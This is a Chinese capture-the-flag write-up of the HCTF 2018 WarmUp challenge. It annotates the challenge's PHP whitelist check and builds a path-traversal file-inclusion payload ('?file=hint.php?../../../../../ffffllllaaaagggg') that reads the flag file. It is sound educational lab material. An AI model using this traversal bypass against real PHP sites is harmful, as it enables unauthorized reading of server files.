<">

BUUCTF-[HCTF 2018]WarmUp

软件发布|下载排行|最新软件

当前位置:首页IT学院IT技术

BUUCTF-[HCTF 2018]WarmUp

原来是甘文川同学   2021-03-03 我要评论

打开给的靶机地址


检查代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->  //提示进入soure.php界面
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>



进入http://513e2534-9bfe-4b12-a06f-17bf132c2071.node3.buuoj.cn/source.php


进行代码审计

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  //白名单赋值
            if (! isset($page) || !is_string($page)) {     //isset:检验变量是否赋值在page,is_string:字符串是否赋值在page上面如果没有则输出“you can't see it”,并返回false
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {             //判断page是否在白名单上面,在的话返回就true
                return true;
            }

            $_page = mb_substr(                            //mb_substr:截取字符串
                $page,
                0,
                mb_strpos($page . '?', '?')                //mb_strops:截取的Page首字符是否存在问号?,如果存在?就截取问号?之前的内容
            );
            if (in_array($_page, $whitelist)) {            //检查截取后的page是否在白名单上面
                return true;                               
            }

            $_page = urldecode($page);                     //urldecode:暗示解码
            $_page = mb_substr(                              
                $_page,
                0,
                mb_strpos($_page . '?', '?')              //同上mb_strops:截取的的page首字符是否存在问号?如果存在?就截取问号?之前的内容
            );
            if (in_array($_page, $whitelist)) {           //第二次检查截取后的page是否在白名单上面
                return true;                            
            }
            echo "you can't see it";            
            return false;
        }
    }

    if (! empty($_REQUEST['file'])                        //如果收集表单file数据不为空
        && is_string($_REQUEST['file'])                   //is_string:或者收集表单file字符串不为空
        && emmm::checkFile($_REQUEST['file'])             //或者checkfile文件为true
    ) {
        include $_REQUEST['file'];                        //包括文件
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

 

分析
flag not here, and flag in ffffllllaaaagggg
可以知道flag是包含在ffffllllaaaagggg下面
看到nclude就就知道构造的playload是:hint.php?ffffllllaaaagggg
重四遍的flag拼写ffffllllaaaagggg暗示我们之前构造的playload要根据in_arry函数进行反映
构造playload

?file=hint.php?../../../../../ffffllllaaaagggg

考点

in_arry函数:in_array() 函数搜索数组中是否存在指定的值。

实例

<!DOCTYPE html>
<html>
<body>

<?php
$people = array("Bill", "Steve", "Mark", "David");

if (in_array("Mark", $people))
  {
  echo "匹配已找到";
  }
else
  {
  echo "匹配未找到";
  }
?>

</body>
</html>

 

运行结果:
匹配已找到

 

目录跳转

php得到响应,将hint.php?看作文件夹路径,如果识别不存在,就会读取后面的/../../../../ffffllllaaaagggg

 

来自ffffllllaaaagggg的爱

每个字母重复四下,暗示至少要往上级目录跳转4次

 

Copyright 2022 版权所有 软件发布 访问手机版

声明:所有软件和文章来自软件开发商或者作者 如有异议 请与本站联系 联系我们